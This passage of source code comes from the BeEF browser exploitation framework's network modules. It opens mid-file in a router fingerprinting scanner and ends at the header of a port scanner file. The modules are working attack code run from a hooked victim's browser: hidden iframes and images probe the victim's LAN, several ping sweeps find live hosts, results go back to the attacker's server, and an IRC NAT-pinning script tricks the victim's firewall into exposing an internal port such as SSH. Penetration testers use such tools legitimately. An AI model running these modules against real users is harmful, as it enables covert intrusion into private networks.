{make:'Netgear',model:'RT328',graphic:'/images/../settingsRT328.gif'}, {make:'Netgear',model:'RT338',graphic:'/images/../settingsRT338.gif'}, {make:'Netgear',model:'WAB102',graphic:'/images/../settingsWAB102.gif'}, {make:'Netgear',model:'WAG102',graphic:'/images/../settingsWAG102.gif'}, {make:'Netgear',model:'WAG302',graphic:'/images/../settingsWAG302.gif'}, {make:'Netgear',model:'WAGL102',graphic:'/images/../settingsWAGL102.gif'}, {make:'Netgear',model:'WAGR614',graphic:'/images/../settingsWAGR614.gif'}, {make:'Netgear',model:'WG102',graphic:'/images/../settingsWG102.gif'}, {make:'Netgear',model:'WG111',graphic:'/images/../settingsWG111.gif'}, {make:'Netgear',model:'WG111T',graphic:'/images/../settingsWG111T.gif'}, {make:'Netgear',model:'WG302',graphic:'/images/../settingsWG302.gif'}, {make:'Netgear',model:'WG311',graphic:'/images/../settingsWG311.gif'}, {make:'Netgear',model:'WG602',graphic:'/images/../settingsWG602.gif'}, {make:'Netgear',model:'WGE101',graphic:'/images/../settingsWGE101.gif'}, {make:'Netgear',model:'WGE111',graphic:'/images/../settingsWGE111.gif'}, {make:'Netgear',model:'WGL102',graphic:'/images/../settingsWGL102.gif'}, {make:'Netgear',model:'WGM124',graphic:'/images/../settingsWGM124.gif'}, {make:'Netgear',model:'WGR101',graphic:'/images/../settingsWGR101.gif'}, {make:'Netgear',model:'WGR614',graphic:'/images/../settingsWGR614.gif'}, {make:'Netgear',model:'WGT624',graphic:'/images/../settingsWGT624.gif'}, {make:'Netgear',model:'WGT624SC',graphic:'/images/../settingsWGT624SC.gif'}, {make:'Netgear',model:'WGT634U',graphic:'/images/../settingsWGT634U.gif'}, {make:'Netgear',model:'WGU624',graphic:'/images/../settingsWGU624.gif'}, {make:'Netgear',model:'WGX102',graphic:'/images/../settingsWGX102.gif'}, {make:'Netgear',model:'WN121T',graphic:'/images/../settingsWN121T.gif'}, {make:'Netgear',model:'WN311B',graphic:'/images/../settingsWN311B.gif'}, {make:'Netgear',model:'WN311T',graphic:'/images/../settingsWN311T.gif'}, {make:'Netgear',model:'WN511B',graphic:'/images/../settingsWN511B.gif'}, {make:'Netgear',model:'WN511T',graphic:'/images/../settingsWN511T.gif'}, {make:'Netgear',model:'WN802T',graphic:'/images/../settingsWN802T.gif'}, {make:'Netgear',model:'WNR834B',graphic:'/images/../settingsWNR834B.gif'}, {make:'Netgear',model:'WNR834M',graphic:'/images/../settingsWNR834M.gif'}, {make:'Netgear',model:'WNR854T',graphic:'/images/../settingsWNR854T.gif'}, {make:'Netgear',model:'WPN802',graphic:'/images/../settingsWPN802.gif'}, {make:'Netgear',model:'WPN824',graphic:'/images/../settingsWPN824.gif'}, {make:'Netgear',model:'XM128',graphic:'/images/../settingsXM128.gif'}, {make:'Thomson',model:'Cable Modem A801',graphic:'/images/thomson.gif'}, {make:'Vigor',model:'2600V',graphic:'/images/logo1.jpg'}, {make:'Linksys',model:'WRT54GL',graphic:'/WRT56GL.gif'}, {make:'Linksys',model:'WRT54GC',graphic:'/UI_Linksys.gif'}, {make:'Linksys',model:'WRT54G',graphic:'/WRT54G.gif'}, {make:'Linksys',model:'WRT54GS',graphic:'/UILinksys.gif'}, {make:'ZyXEL',model:'Prestige 660H61',graphic:'/dslroutery/imgshop/full/NETZ1431.jpg'}, {make:'ZyXEL',model:'Zywall',graphic:'/images/Logo.gif'}, {make:'Sitecom',model:'WL114',graphic:'/slogo.gif'}, {make:'2Wire',model:'1000 Series',graphic:'/base/web/def/def/images/nav_sl_logo.gif'}, {make:'SurfinBird',model:'313',graphic:'/images/help_p.gif'}, {make:'SMC',model:'7004ABR',graphic:'/images/logo.gif'}, {make:'DLink',model:'DI524',graphic:'/m524.gif'}, {make:'Cisco',model:'2600',graphic:'/images/logo.png'}, {make:'ASUS',model:'RX Series',graphic:'/images/banner_sys4bg.gif'}, {make:'ASUS',model:'RT Series',graphic:'/images/EZSetup_button.gif'} ]; // No signatures for commented out IPs var ips = [ {ip:'192.168.1.30',make:'DLink'}, {ip:'192.168.1.50',make:'DLink'}, {ip:'192.168.2.1',make:'SMC'}, //{ip:'192.168.2.1',make:'Accton'}, //{ip:'192.168.1.1',make:'3Com'}, //{ip:'192.168.1.1',make:'AirLink'}, //{ip:'192.168.1.1',make:'Arescom'}, //{ip:'192.168.1.1',make:'Teletronics'}, //{ip:'192.168.1.1',make:'Dell'}, {ip:'192.168.1.1',make:'DLink'}, {ip:'192.168.1.1',make:'Linksys'}, {ip:'192.168.1.1',make:'ZyXEL'}, {ip:'192.168.1.1',make:'ASUS'}, {ip:'192.168.0.1',make:'DLink'}, {ip:'192.168.0.1',make:'Netgear'}, {ip:'192.168.0.1',make:'Linksys'}, {ip:'192.168.0.1',make:'SurfinBird'}, {ip:'192.168.0.1',make:'ASUS'}, {ip:'192.168.0.227',make:'Netgear'}, {ip:'192.168.0.254',make:'DLink'}, {ip:'192.168.1.225',make:'Linksys'}, {ip:'192.168.1.226',make:'Linksys'}, {ip:'192.168.1.245',make:'Linksys'}, {ip:'192.168.1.246',make:'Linksys'}, {ip:'192.168.1.251',make:'Linksys'}, {ip:'192.168.100.1',make:'Thomson'}, {ip:'192.168.1.254',make:'ZyXEL'}, {ip:'192.168.1.254',make:'2Wire'}, {ip:'192.168.0.1',make:'Vigor'}, {ip:'192.168.123.254',make:'Sitecom'}, //{ip:'10.0.1.1',make:'Apple'}, {ip:'10.1.1.1',make:'DLink'}, {ip:'10.0.0.1',make:'ZyXEL'}, //{ip:'10.0.0.2',make:'Aceex'}, //{ip:'10.0.0.2',make:'Bausch'}, //{ip:'10.0.0.2',make:'E-Tech'}, //{ip:'10.0.0.2',make:'JAHT'}, {ip:'192.168.1.254',make:'2Wire'}, {ip:'192.168.65.1',make:'Cisco'} //{ip:'192.168.100.1',make:'Motorola'}, //{ip:'192.168.100.1',make:'Ambit'}, ]; var guesses = [ {host:'10.1.1.1',label:'Device',labelText:'DLink',port:80}, {host:'10.0.0.1',label:'Device',labelText:'ZyXEL',port:80}, {host:'10.0.0.2',label:'Device',labelText:'Aceex,Bausch,E-Tech,JAHT',port:80}, {host:'10.0.0.138',label:'Device',labelText:'Alcatel',port:80}, {host:'10.0.1.1',label:'Device',labelText:'Apple',port:80}, {host:'192.168.0.1',label:'Device',labelText:'DLink,Netgear,ASUS,Linksys,Sitecom,Belkin',port:80}, {host:'192.168.0.227',label:'Device',labelText:'Netgear',port:80}, {host:'192.168.0.254',label:'Device',labelText:'DLink,Sitecom/Linux IP Cop',port:80}, {host:'192.168.1.1',label:'Device',labelText:'3Com,AirLink,Linksys,Arescom,ASUS,Dell,DLink,ZyXEL,Teletronics',port:80}, {host:'192.168.1.30',label:'Device',labelText:'DLink',port:80}, {host:'192.168.1.50',label:'Device',labelText:'DLink,Linksys',port:80}, {host:'192.168.1.225',label:'Device',labelText:'Linksys',port:80}, {host:'192.168.1.226',label:'Device',labelText:'Linksys',port:80}, {host:'192.168.1.245',label:'Device',labelText:'Linksys',port:80}, {host:'192.168.1.246',label:'Device',labelText:'Linksys',port:80}, {host:'192.168.1.251',label:'Device',labelText:'Linksys',port:80}, {host:'192.168.1.254',label:'Device',labelText:'ZyXEL',port:80}, {host:'192.168.2.1',label:'Device',labelText:'Accton,Belkin,Microsoft,SMC',port:80}, {host:'192.168.2.25',label:'Device',labelText:'SMC',port:80}, {host:'192.168.8.1',label:'Device',labelText:'Aceex',port:80}, {host:'192.168.11.1',label:'Device',labelText:'Buffalo',port:80}, {host:'192.168.62.1',label:'Device',labelText:'Canyon',port:80}, {host:'192.168.100.1',label:'Device',labelText:'Ambit,Thomson,Motorola',port:80}, {host:'192.168.123.254',label:'Device',labelText:'US Robotics',port:80}, {host:'192.168.123.254',label:'Device',labelText:'Sitecom',port:80}, {host:'192.168.254.254',label:'Device',labelText:'Flowpoint',port:80}, {host:'192.168.254.1',label:'Device',labelText:'BT M5861,2Wire',port:80} ]; lanScanner = {timeout:1,probes:0}; //lol pardon the innuendo lanScanner.handleProbe = function(portObj) { if(portObj.init == 1) { lanScanner.addDevice({host:portObj.host,make:portObj.make,model:portObj.model}); document.body.removeChild(portObj); } } // ie sucks! onload doesn't work unless specified directly in the document // that's why I have to do this :( lanScanner.handleConnection = function(portObj) { if(portObj.init == 1) { if(beef.browser.isIE()) { portObj.end = new Date().getTime(); if(portObj.end - portObj.start > 15000) { document.body.removeChild(portObj); return false; } } var obj = portObj.store; obj.status = 'Open'; lanScanner.addHost(obj); document.body.removeChild(portObj); } else { portObj.start = new Date().getTime(); } } lanScanner.runScan = function() { var obj, portObj; guessesLen = guesses.length; for(var i=0;i<guessesLen;i++) { obj = guesses[i]; currentPort = obj.port; currentAddress = obj.host+':'+currentPort; beef.debug("[JS LAN Scanner] Connecting to: " + currentAddress); portObj = document.getElementById('connection'+i); portObj.src = 'http://'+currentAddress; portObj.store = obj; portObj.init = 1; document.body.appendChild(portObj); } } lanScanner.getPortName = function(port) { var portNames = {'HTTP Server':80,'FTP Server':21}; for(var i in portNames) { if(portNames[i] == port) { return i; } } return 'Unknown'; } lanScanner.addHost = function(obj) { this.timeout = 0; beef.debug("[JS LAN Scanner] Found "+this.getPortName(obj.port)+" [proto: http, ip: "+obj.host+", port: "+obj.port+"]"); beef.net.send("<%= @command_url %>", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port), beef.are.status_success()); lanScanner.fingerPrint(obj.host); } lanScanner.addDevice = function(obj) { beef.debug("[JS LAN Scanner] Found " + obj.make + ' ' + obj.model + ' [ip: ' + obj.host + ']'); beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model, beef.are.status_success()); } lanScanner.destroyConnections = function() { var guessesLen = guesses.length; for(var f=0;f<guessesLen;f++) { document.body.removeChild(document.getElementById('connection'+f)); } } lanScanner.fingerPrint = function(address) { var make,fingerprint; for(var i=0;i<ips.length;i++) { if(ips[i].ip == address) { make = ips[i].make; for(var k=0;k<devices.length;k++) { if(devices[k].make == make) { var img = new Image(); img.setAttribute("style","visibility:hidden"); img.setAttribute("width","0"); img.setAttribute("height","0"); img.id = 'probe'+this.probes; img.name = 'probe'+this.probes; img.onerror = function() { document.body.removeChild(this); } img.onload = function() { lanScanner.handleProbe(this); } img.init = 1; img.model = devices[k].model; img.make = make; img.host = address; img.src = 'http://' + address + devices[k].graphic; this.probes++; document.body.appendChild(img); } } } } } var guessesLen = guesses.length; for(var f=0;f<guessesLen;f++) { var iframe = beef.dom.createInvisibleIframe(); iframe.name = "connection"+f; iframe.id = "connection"+f; iframe.onload = function() { lanScanner.handleConnection(this); } } beef.debug("[JS LAN Scanner] Starting scan ("+guessesLen+" IPs)"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "Starting scan ("+guessesLen+" IPs)"); lanScanner.runScan(); //lanScanner.destroyConnections(); });
YAML
beef/modules/network/jslanscanner/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # Ported to BeEF from JsLanScanner: https://code.google.com/p/jslanscanner/source/browse/trunk/lan_scan/js/lan_scan.js # beef: module: fingerprint_routers: enable: true category: "Network" name: "Fingerprint Routers" description: "This module attempts to discover network routers on the local network of the hooked browser. It scans for web servers on IP addresses commonly used by routers. It uses a signature based approach - based on default image paths for known network devices - to determine if the web server is a router web interface.<br/><br/>Ported to BeEF from <a href='http://code.google.com/p/jslanscanner/' target='_blank'>JsLanScanner</a>.<br/><br/>Note: The user may see authentication popups in the event any of the target IP addresses are using HTTP authentication." authors: ["Gareth Heyes"] target: user_notify: ["FF", "S"] not_working: ["C", "IE"]
Ruby
beef/modules/network/jslanscanner/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Fingerprint_routers < BeEF::Core::Command def self.options [] end def post_execute content = {} content['results'] = @datastore['results'] unless @datastore['results'].nil? save content configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true case @datastore['results'] when /^proto=(.+)&ip=(.+)&port=(\d+)&service=(.+)/ proto = Regexp.last_match(1) ip = Regexp.last_match(2) port = Regexp.last_match(3) service = Regexp.last_match(4) session_id = @datastore['beefhook'] if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found network service #{service} [proto: #{proto}, ip: #{ip}, port: #{port}]") BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: service) end when /^ip=(.+)&device=(.+)/ ip = Regexp.last_match(1) device = Regexp.last_match(2) session_id = @datastore['beefhook'] if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found network device #{device} [ip: #{ip}]") BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip, type: device) end end end end
JavaScript
beef/modules/network/nat_pinning_irc/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var privateip = '<%= @privateip %>'; var privateport = '<%= @privateport %>'; var connectto = '<%= @connectto %>'; function dot2dec(dot){ var d = dot.split('.'); return (((+d[0])*256+(+d[1]))*256+(+d[2]))*256+(+d[3]); } var myIframe = beef.dom.createInvisibleIframe(); var myForm = document.createElement("form"); var action = "http://" + connectto + ":6667/" myForm.setAttribute("name", "data"); myForm.setAttribute("method", "post"); //it must be multipart/form-data so the message appears on separate line myForm.setAttribute("enctype", "multipart/form-data"); myForm.setAttribute("action", action); //create message, refer Samy Kamkar (http://samy.pl/natpin/) x = String.fromCharCode(1); var s = 'PRIVMSG beef :'+x+'DCC CHAT beef '+dot2dec(privateip)+' '+privateport+x+"\n"; //create message textarea var myExt = document.createElement("textarea"); myExt.setAttribute("id","msg_<%= @command_id %>"); myExt.setAttribute("name","msg_<%= @command_id %>"); myForm.appendChild(myExt); myIframe.contentWindow.document.body.appendChild(myForm); //send message myIframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = s; myForm.submit(); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent'); });
YAML
beef/modules/network/nat_pinning_irc/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: irc_nat_pinning: enable: true category: "Network" name: "IRC NAT Pinning" description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. BeEF will automatically bind a socket on port 6667 (IRC). Then you can connect to the victims public IP on that port. For more information, please refer to: <a href='http://samy.pl/natpin/'>http://samy.pl/natpin/</a> ." authors: ["Bart Leppens"] target: working: ["FF"]
Ruby
beef/modules/network/nat_pinning_irc/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Irc_nat_pinning < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket('IRC', '0.0.0.0', 6667) end def self.options @configuration = BeEF::Core::Configuration.instance beef_host = @configuration.beef_host [ { 'name' => 'connectto', 'ui_label' => 'Connect to', 'value' => beef_host }, { 'name' => 'privateip', 'ui_label' => 'Private IP', 'value' => '192.168.0.100' }, { 'name' => 'privateport', 'ui_label' => 'Private Port', 'value' => '22' } ] end def post_execute return if @datastore['result'].nil? save({ 'result' => @datastore['result'] }) # wait 30 seconds before unbinding the socket. The HTTP connection will arrive sooner than that anyway. sleep 30 BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket('IRC') end end
JavaScript
beef/modules/network/ping_sweep/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var ips = new Array(); var rhosts = "<%= @rhosts %>"; var threads = parseInt("<%= @threads %>", 10) || 3; var timeout = 1000; if(!beef.browser.hasCors()) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error()); return; } // set target IP addresses if (rhosts == 'common') { // use default IPs ips = [ '192.168.0.1', '192.168.0.100', '192.168.0.254', '192.168.1.1', '192.168.1.100', '192.168.1.254', '10.0.0.1', '10.1.1.1', '192.168.2.1', '192.168.2.254', '192.168.100.1', '192.168.100.254', '192.168.123.1', '192.168.123.254', '192.168.10.1', '192.168.10.254' ]; } else { // set target IP range var range = rhosts.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); if (range == null || range[1] == null) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); return; } ipBounds = rhosts.split('-'); lowerBound = ipBounds[0].split('.')[3]; upperBound = ipBounds[1].split('.')[3]; for (var i = lowerBound; i <= upperBound; i++){ ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i; ips.push(ipToTest); } } WorkerQueue = function(frequency) { var stack = []; var timer = null; var frequency = frequency; var start_scan = (new Date).getTime(); this.process = function() { var item = stack.shift(); eval(item); if (stack.length === 0) { clearInterval(timer); timer = null; var interval = (new Date).getTime() - start_scan; beef.debug("[Ping Sweep] Worker queue is complete ["+interval+" ms]"); return; } } this.queue = function(item) { stack.push(item); if (timer === null) timer = setInterval(this.process, frequency); } } // create workers var workers = new Array(); for (w=0; w < threads; w++) workers.push(new WorkerQueue(timeout)); beef.debug("[Ping Sweep] Starting scan ("+(ips.length)+" URLs / "+threads+" workers)"); for (var i=0; i < ips.length; i++) { var worker = workers[i % threads]; var ip = ips[i]; // use a high port likely to be closed/filtered (60000 - 65000) var port = Math.floor(Math.random() * 5000) + 60000; worker.queue('var start_time = new Date().getTime();' + 'beef.net.cors.request(' + '"GET", "http://'+ip+':'+port+'/", "", '+timeout+', function(response) {' + 'var current_time = new Date().getTime();' + 'var duration = current_time - start_time;' + 'if (duration < '+timeout+') {' + 'beef.debug("[Ping Sweep] '+ip+' [" + duration + " ms] -- host is up");' + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip='+ip+'&ping="+duration+"ms", beef.are.status_success());' + '} else {' + 'beef.debug("[Ping Sweep] '+ip+' [" + duration + " ms] -- timeout");' + '}' + '});' ); } });
YAML
beef/modules/network/ping_sweep/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: ping_sweep: enable: true category: "Network" name: "Ping Sweep" description: "Discover active hosts in the internal network of the hooked browser using JavaScript XHR.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses." authors: ["bcoles"] target: working: ["FF"] not_working: ["ALL"]
Ruby
beef/modules/network/ping_sweep/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Ping_sweep < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] save content configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true # log the network service return unless @datastore['results'] =~ /^ip=(.+)&ping=(\d+)ms$/ ip = Regexp.last_match(1) # ping = Regexp.last_match(2) session_id = @datastore['beefhook'] if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found host #{ip}") BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip) end end def self.options [ { 'name' => 'rhosts', 'ui_label' => 'Scan IP range (C class)', 'value' => 'common' }, { 'name' => 'threads', 'ui_label' => 'Workers', 'value' => '3' } ] end end
JavaScript
beef/modules/network/ping_sweep_ff/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var ips = new Array(); var ipRange = "<%= @ipRange %>"; var timeout = "<%= @timeout %>"; var delay = parseInt(timeout) + parseInt("<%= @delay %>"); var verbose=false; /* enable for debug */ // ipRange will be in the form of 192.168.0.1-192.168.0.254: the fourth octet will be iterated. // Note: if ipRange is just an IP address like 192.168.0.1, the ips array will contain only one element: ipBounds[0] // (only C class IPs are supported atm). Same code as internal_network_fingerprinting module var ipBounds = ipRange.split('-'); var ipToTest; if(ipBounds.length>1) { var lowerBound = parseInt(ipBounds[0].split('.')[3]); var upperBound = parseInt(ipBounds[1].split('.')[3]); for(i=lowerBound;i<=upperBound;i++){ ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i ips.push(ipToTest); } } else { ipToTest = ipBounds[0] ips.push(ipToTest); } if(ips.length==1) verbose=true; function do_scan(host, timeout) { var status=false; var ping=""; try { status = java.net.InetAddress.getByName(host).isReachable(timeout); } catch(e) { /*handle exception...? */ } if (status) { ping = host + " is alive!"; } else if(verbose) { ping = host + " is not alive"; } return ping; } // call do_scan for each ip // use of setInterval trick to avoid slow script warnings var i=0; if(ips.length>1) { var int_id = setInterval( function() { var host = do_scan(ips[i++],timeout); if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host, beef.are.status_success()); if(i==ips.length) { clearInterval(int_id); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host=Ping sweep finished'); } }, delay); } else { var host = do_scan(ips[i],timeout); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host); } });
YAML
beef/modules/network/ping_sweep_ff/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: ping_sweep_ff: enable: true category: "Network" name: "Ping Sweep (FF)" description: "Discover active hosts in the internal network of the hooked browser. It works by calling a Java method from JavaScript and does not require user interaction.<br> For browsers other than Firefox, use the 'Ping Sweep (Java)' module." authors: ["jgaliana"] target: working: ["FF"] not_working: ["C", "S", "O", "IE"]
Ruby
beef/modules/network/ping_sweep_ff/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # # Ping Sweep Module - jgaliana # Discover active hosts in the internal network of the hooked browser. # It works calling a Java method from JavaScript and do not require user interaction. class Ping_sweep_ff < BeEF::Core::Command def self.options [ { 'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class or IP)', 'value' => '192.168.0.1-192.168.0.254' }, { 'name' => 'timeout', 'ui_label' => 'Timeout (ms)', 'value' => '2000' }, { 'name' => 'delay', 'ui_label' => 'Delay between requests (ms)', 'value' => '100' } ] end def post_execute content = {} content['host'] = @datastore['host'] unless @datastore['host'].nil? content['fail'] = 'No active hosts have been discovered.' if content.empty? save content configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true return unless @datastore['results'] =~ /host=([\d.]+) is alive/ # save the network host ip = Regexp.last_match(1) session_id = @datastore['beefhook'] if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser has network interface #{ip}") BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip) end end end
JavaScript
beef/modules/network/ping_sweep_java/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var ipRange = "<%= @ipRange %>"; var timeout = "<%= @timeout %>"; var appletTimeout = 30; var output = ""; var hostNumber = 0; var internal_counter = 0; var firstMsgSent = false; beef.dom.attachApplet('pingSweep', 'pingSweep', 'pingSweep', beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/", null, [{'ipRange':ipRange, 'timeout':timeout}]); function waituntilok() { try { hostNumber = document.pingSweep.getHostsNumber(); if(hostNumber != null && hostNumber > 0){ if(!firstMsgSent){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Applet attached.<br>Hosts to check: ' + hostNumber + '<br>Required time (s): ~' + (timeout * hostNumber)/1000); firstMsgSent = true; } output = document.pingSweep.getAliveHosts(); clearTimeout(int_timeout); clearTimeout(ext_timeout); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"), beef.are.status_success()); beef.dom.detachApplet('pingSweep'); return; }else{ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check', beef.are.status_error()); return; } } catch (e) { internal_counter++; if (internal_counter > appletTimeout) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Timeout after '+appletTimeout+' seconds'); beef.dom.detachApplet('pingSweep'); return; } int_timeout = setTimeout(function() {waituntilok()},1000); } } ext_timeout = setTimeout(function() {waituntilok()},5000); });
YAML
beef/modules/network/ping_sweep_java/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: ping_sweep_java: enable: true category: "Network" name: "Ping Sweep (Java)" description: "Discover active hosts in the internal network of the hooked browser. Same logic of the Ping Sweep module, but using an unsigned Java applet to work in browsers other than Firefox.<br> For Firefox, use the normal PingSweep module." authors: ["antisnatchor"] target: working: ["S", "O", "IE"] user_notify: ["C"] not_working: ["FF"]
Ruby
beef/modules/network/ping_sweep_java/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # # Ping Sweep Module - jgaliana # Discover active hosts in the internal network of the hooked browser. # It works calling a Java method from JavaScript and do not require user interaction. class Ping_sweep_java < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/ping_sweep_java/pingSweep.class', '/pingSweep', 'class') end def self.options [ { 'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class or IP)', 'value' => '192.168.0.1-192.168.0.254' }, { 'name' => 'timeout', 'ui_label' => 'Timeout (ms)', 'value' => '2000' } ] end def post_execute content = {} content['ps'] = @datastore['ps'] unless @datastore['ps'].nil? content['fail'] = 'No active hosts have been discovered.' if content.empty? BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/pingSweep.class') save content end end
Java
beef/modules/network/ping_sweep_java/pingSweep.java
/* * Copyright (c) 2006-2023Wade Alcorn - [email protected] * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ import java.applet.Applet; import java.io.IOException; import java.net.InetAddress; import java.net.UnknownHostException; import java.util.ArrayList; import java.util.List; /* * Coded by Michele "antisnatchor" Orru' for the BeEF project. * Given a single IP or IP range, check without hosts are alive (ping sweep). */ public class pingSweep extends Applet { public static String ipRange = ""; public static int timeout = 0; public static List<InetAddress> hostList; public pingSweep() { super(); return; } public void init(){ ipRange = getParameter("ipRange"); timeout = Integer.parseInt(getParameter("timeout")); } //called from JS public static int getHostsNumber(){ try{ hostList = parseIpRange(ipRange); }catch(UnknownHostException e){ //do something } return hostList.size(); } //called from JS public static String getAliveHosts(){ String result = ""; try{ result = checkHosts(hostList); }catch(IOException io){ //do something } return result; } private static List<InetAddress> parseIpRange(String ipRange) throws UnknownHostException { List<InetAddress> addresses = new ArrayList<InetAddress>(); if (ipRange.indexOf("-") != -1) { //multiple IPs: ipRange = 172.31.229.240-172.31.229.250 String[] ips = ipRange.split("-"); String[] octets = ips[0].split("\\."); int lowerBound = Integer.parseInt(octets[3]); int upperBound = Integer.parseInt(ips[1].split("\\.")[3]); for (int i = lowerBound; i <= upperBound; i++) { String ip = octets[0] + "." + octets[1] + "." + octets[2] + "." + i; addresses.add(InetAddress.getByName(ip)); } } else { //single ip: ipRange = 172.31.229.240 addresses.add(InetAddress.getByName(ipRange)); } return addresses; } private static String checkHosts(List<InetAddress> inetAddresses) throws IOException { String alive = ""; for (InetAddress inetAddress : inetAddresses) { if (inetAddress.isReachable(timeout)) { alive += inetAddress.toString() + "\n"; } } return alive; } }
JavaScript
beef/modules/network/port_scanner/command.js
